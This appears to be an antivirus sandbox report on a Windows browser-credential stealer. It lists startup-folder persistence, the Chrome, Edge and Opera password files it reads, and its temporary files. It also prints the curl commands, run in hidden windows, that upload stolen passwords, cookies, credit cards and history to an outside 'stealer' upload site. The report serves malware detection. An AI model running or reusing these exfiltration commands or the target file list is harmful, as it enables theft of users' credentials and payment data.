Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.exe
Malicious functions
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
Modifies file system
Creates the following files
- %TEMP%\_mei35802\crypto\cipher\_arc4.pyd
- %TEMP%\_mei35802\crypto\cipher\_salsa20.pyd
- %TEMP%\_mei35802\crypto\cipher\_chacha20.pyd
- %TEMP%\_mei35802\crypto\cipher\_pkcs1_decode.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_aes.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_aesni.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_arc2.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_blowfish.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_cast.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_cbc.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_cfb.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_ctr.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_des.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_des3.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_ecb.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_eksblowfish.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_ocb.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_ofb.pyd
- %TEMP%\_mei35802\crypto\hash\_blake2b.pyd
- %TEMP%\_mei35802\crypto\hash\_blake2s.pyd
- %TEMP%\_mei35802\crypto\hash\_md2.pyd
- %TEMP%\_mei35802\crypto\hash\_md4.pyd
- %TEMP%\_mei35802\crypto\hash\_md5.pyd
- %TEMP%\_mei35802\crypto\hash\_ripemd160.pyd
- %TEMP%\_mei35802\crypto\hash\_sha1.pyd
- %TEMP%\_mei35802\crypto\hash\_sha224.pyd
- %TEMP%\_mei35802\crypto\hash\_sha256.pyd
- %TEMP%\_mei35802\crypto\hash\_sha384.pyd
- %TEMP%\_mei35802\crypto\hash\_sha512.pyd
- %TEMP%\_mei35802\crypto\hash\_ghash_clmul.pyd
- %TEMP%\_mei35802\crypto\hash\_ghash_portable.pyd
- %TEMP%\_mei35802\crypto\hash\_keccak.pyd
- %TEMP%\_mei35802\crypto\hash\_poly1305.pyd
- %TEMP%\_mei35802\crypto\math\_modexp.pyd
- %TEMP%\_mei35802\crypto\protocol\_scrypt.pyd
- %TEMP%\_mei35802\crypto\publickey\_ec_ws.pyd
- %TEMP%\_mei35802\crypto\publickey\_ed25519.pyd
- %TEMP%\_mei35802\crypto\publickey\_ed448.pyd
- %TEMP%\_mei35802\crypto\publickey\_x25519.pyd
- %TEMP%\_mei35802\crypto\util\_cpuid_c.pyd
- %TEMP%\_mei35802\crypto\util\_strxor.pyd
- %TEMP%\_mei35802\vcruntime140.dll
- %TEMP%\_mei35802\vcruntime140_1.dll
- %TEMP%\_mei35802\_asyncio.pyd
- %TEMP%\_mei35802\_bz2.pyd
- %TEMP%\_mei35802\_cffi_backend.cp312-win_amd64.pyd
- %TEMP%\_mei35802\_ctypes.pyd
- %TEMP%\_mei35802\_decimal.pyd
- %TEMP%\_mei35802\_hashlib.pyd
- %TEMP%\_mei35802\_lzma.pyd
- %TEMP%\_mei35802\_multiprocessing.pyd
- %TEMP%\_mei35802\_overlapped.pyd
- %TEMP%\_mei35802\_queue.pyd
- %TEMP%\_mei35802\_socket.pyd
- %TEMP%\_mei35802\_sqlite3.pyd
- %TEMP%\_mei35802\_ssl.pyd
- %TEMP%\_mei35802\_uuid.pyd
- %TEMP%\_mei35802\_wmi.pyd
- %TEMP%\_mei35802\base_library.zip
- %TEMP%\_mei35802\certifi\cacert.pem
- %TEMP%\_mei35802\charset_normalizer\md.cp312-win_amd64.pyd
- %TEMP%\_mei35802\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\installer
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\license
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\license.apache
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\license.bsd
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\metadata
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\record
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\wheel
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\top_level.txt
- %TEMP%\_mei35802\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei35802\libcrypto-3.dll
- %TEMP%\_mei35802\libffi-8.dll
- %TEMP%\_mei35802\libssl-3.dll
- %TEMP%\_mei35802\pyexpat.pyd
- %TEMP%\_mei35802\python3.dll
- %TEMP%\_mei35802\python312.dll
- %TEMP%\_mei35802\pywin32_system32\pywintypes312.dll
- %TEMP%\_mei35802\select.pyd
- %TEMP%\_mei35802\sqlite3.dll
- %TEMP%\_mei35802\unicodedata.pyd
- %TEMP%\_mei35802\win32\win32api.pyd
- %TEMP%\_mei35802\zstandard\_cffi.cp312-win_amd64.pyd
- %TEMP%\_mei35802\zstandard\backend_c.cp312-win_amd64.pyd
- %LOCALAPPDATA%\tempcrbfdhokmx.db
- %LOCALAPPDATA%\tempcriuzhmhoy.db
- %LOCALAPPDATA%\tempcrucnzelje.db
- %LOCALAPPDATA%\tempcrxtwiceid.db
- %LOCALAPPDATA%\tempcrmvjedpzj.db
- %LOCALAPPDATA%\tempcrfvnltotv.db
- %LOCALAPPDATA%\tempcrvkovfomn.db
- %LOCALAPPDATA%\tempcrmkfxcohu.db
- %TEMP%\crhistory.txt
- %LOCALAPPDATA%\tempcrqpcemmof.db
- %LOCALAPPDATA%\tempcrlmpmfrno.db
- %LOCALAPPDATA%\tempcrybxuolyi.db
Deletes following files that it created itself
- %LOCALAPPDATA%\tempcriuzhmhoy.db
- %LOCALAPPDATA%\tempcrbfdhokmx.db
- %LOCALAPPDATA%\tempcrxtwiceid.db
- %LOCALAPPDATA%\tempcrucnzelje.db
- %LOCALAPPDATA%\tempcrmvjedpzj.db
- %LOCALAPPDATA%\tempcrfvnltotv.db
- %LOCALAPPDATA%\tempcrvkovfomn.db
- %LOCALAPPDATA%\tempcrmkfxcohu.db
- %LOCALAPPDATA%\tempcrqpcemmof.db
- %LOCALAPPDATA%\tempcrlmpmfrno.db
- %LOCALAPPDATA%\tempcrybxuolyi.db
- %TEMP%\_mei35802\base_library.zip
- %TEMP%\_mei35802\certifi\cacert.pem
- %TEMP%\_mei35802\charset_normalizer\md.cp312-win_amd64.pyd
- %TEMP%\_mei35802\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
- %TEMP%\_mei35802\crypto\cipher\_arc4.pyd
- %TEMP%\_mei35802\crypto\cipher\_chacha20.pyd
- %TEMP%\_mei35802\crypto\cipher\_pkcs1_decode.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_aes.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_aesni.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_arc2.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_blowfish.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_cast.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_cbc.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_cfb.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_ctr.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_des.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_des3.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_ecb.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_eksblowfish.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_ocb.pyd
- %TEMP%\_mei35802\crypto\cipher\_raw_ofb.pyd
- %TEMP%\_mei35802\crypto\cipher\_salsa20.pyd
- %TEMP%\_mei35802\crypto\hash\_blake2b.pyd
- %TEMP%\_mei35802\crypto\hash\_blake2s.pyd
- %TEMP%\_mei35802\crypto\hash\_ghash_clmul.pyd
- %TEMP%\_mei35802\crypto\hash\_ghash_portable.pyd
- %TEMP%\_mei35802\crypto\hash\_keccak.pyd
- %TEMP%\_mei35802\crypto\hash\_md2.pyd
- %TEMP%\_mei35802\crypto\hash\_md4.pyd
- %TEMP%\_mei35802\crypto\hash\_md5.pyd
- %TEMP%\_mei35802\crypto\hash\_poly1305.pyd
- %TEMP%\_mei35802\crypto\hash\_ripemd160.pyd
- %TEMP%\_mei35802\crypto\hash\_sha1.pyd
- %TEMP%\_mei35802\crypto\hash\_sha224.pyd
- %TEMP%\_mei35802\crypto\hash\_sha256.pyd
- %TEMP%\_mei35802\crypto\hash\_sha384.pyd
- %TEMP%\_mei35802\crypto\hash\_sha512.pyd
- %TEMP%\_mei35802\crypto\math\_modexp.pyd
- %TEMP%\_mei35802\crypto\protocol\_scrypt.pyd
- %TEMP%\_mei35802\crypto\publickey\_ec_ws.pyd
- %TEMP%\_mei35802\crypto\publickey\_ed25519.pyd
- %TEMP%\_mei35802\crypto\publickey\_ed448.pyd
- %TEMP%\_mei35802\crypto\publickey\_x25519.pyd
- %TEMP%\_mei35802\crypto\util\_cpuid_c.pyd
- %TEMP%\_mei35802\crypto\util\_strxor.pyd
- %TEMP%\_mei35802\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\installer
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\license
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\license.apache
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\license.bsd
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\metadata
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\record
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\top_level.txt
- %TEMP%\_mei35802\cryptography-42.0.7.dist-info\wheel
- %TEMP%\_mei35802\libcrypto-3.dll
- %TEMP%\_mei35802\libffi-8.dll
- %TEMP%\_mei35802\libssl-3.dll
- %TEMP%\_mei35802\pyexpat.pyd
- %TEMP%\_mei35802\python3.dll
- %TEMP%\_mei35802\python312.dll
- %TEMP%\_mei35802\pywin32_system32\pywintypes312.dll
- %TEMP%\_mei35802\select.pyd
- %TEMP%\_mei35802\sqlite3.dll
- %TEMP%\_mei35802\unicodedata.pyd
- %TEMP%\_mei35802\vcruntime140.dll
- %TEMP%\_mei35802\vcruntime140_1.dll
- %TEMP%\_mei35802\win32\win32api.pyd
- %TEMP%\_mei35802\zstandard\backend_c.cp312-win_amd64.pyd
- %TEMP%\_mei35802\zstandard\_cffi.cp312-win_amd64.pyd
- %TEMP%\_mei35802\_asyncio.pyd
- %TEMP%\_mei35802\_bz2.pyd
- %TEMP%\_mei35802\_cffi_backend.cp312-win_amd64.pyd
- %TEMP%\_mei35802\_ctypes.pyd
- %TEMP%\_mei35802\_decimal.pyd
- %TEMP%\_mei35802\_hashlib.pyd
- %TEMP%\_mei35802\_lzma.pyd
- %TEMP%\_mei35802\_multiprocessing.pyd
- %TEMP%\_mei35802\_overlapped.pyd
- %TEMP%\_mei35802\_queue.pyd
- %TEMP%\_mei35802\_socket.pyd
- %TEMP%\_mei35802\_sqlite3.pyd
- %TEMP%\_mei35802\_ssl.pyd
- %TEMP%\_mei35802\_uuid.pyd
- %TEMP%\_mei35802\_wmi.pyd
Network activity
Connects to
- 'ap#.#pify.org':443
- 'ge####ation-db.com':443
- 'st##ler.to':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?fd##############
Other
- 'ap#.#pify.org':443
- 'ge####ation-db.com':443
- 'st##ler.to':443
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ge####ation-db.com
- DNS ASK st##ler.to
Miscellaneous
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "tasklist"
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crpasswords.txt" https://stealer.to/uploads"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crpasswords.txt" https://stealer.to/uploads
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcookies.txt" https://stealer.to/uploads"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crcookies.txt" https://stealer.to/uploads
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcreditcards.txt" https://stealer.to/uploads"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crcreditcards.txt" https://stealer.to/uploads
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crautofills.txt" https://stealer.to/uploads"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crautofills.txt" https://stealer.to/uploads
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crhistories.txt" https://stealer.to/uploads"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crhistories.txt" https://stealer.to/uploads
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crbookmarks.txt" https://stealer.to/uploads"
- '<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crbookmarks.txt" https://stealer.to/uploads
- '<SYSTEM32>\cmd.exe' /c "tasklist"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crpasswords.txt" https://stealer.to/uploads"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcookies.txt" https://stealer.to/uploads"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcreditcards.txt" https://stealer.to/uploads"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crautofills.txt" https://stealer.to/uploads"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crhistories.txt" https://stealer.to/uploads"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crbookmarks.txt" https://stealer.to/uploads"' (with hidden window)
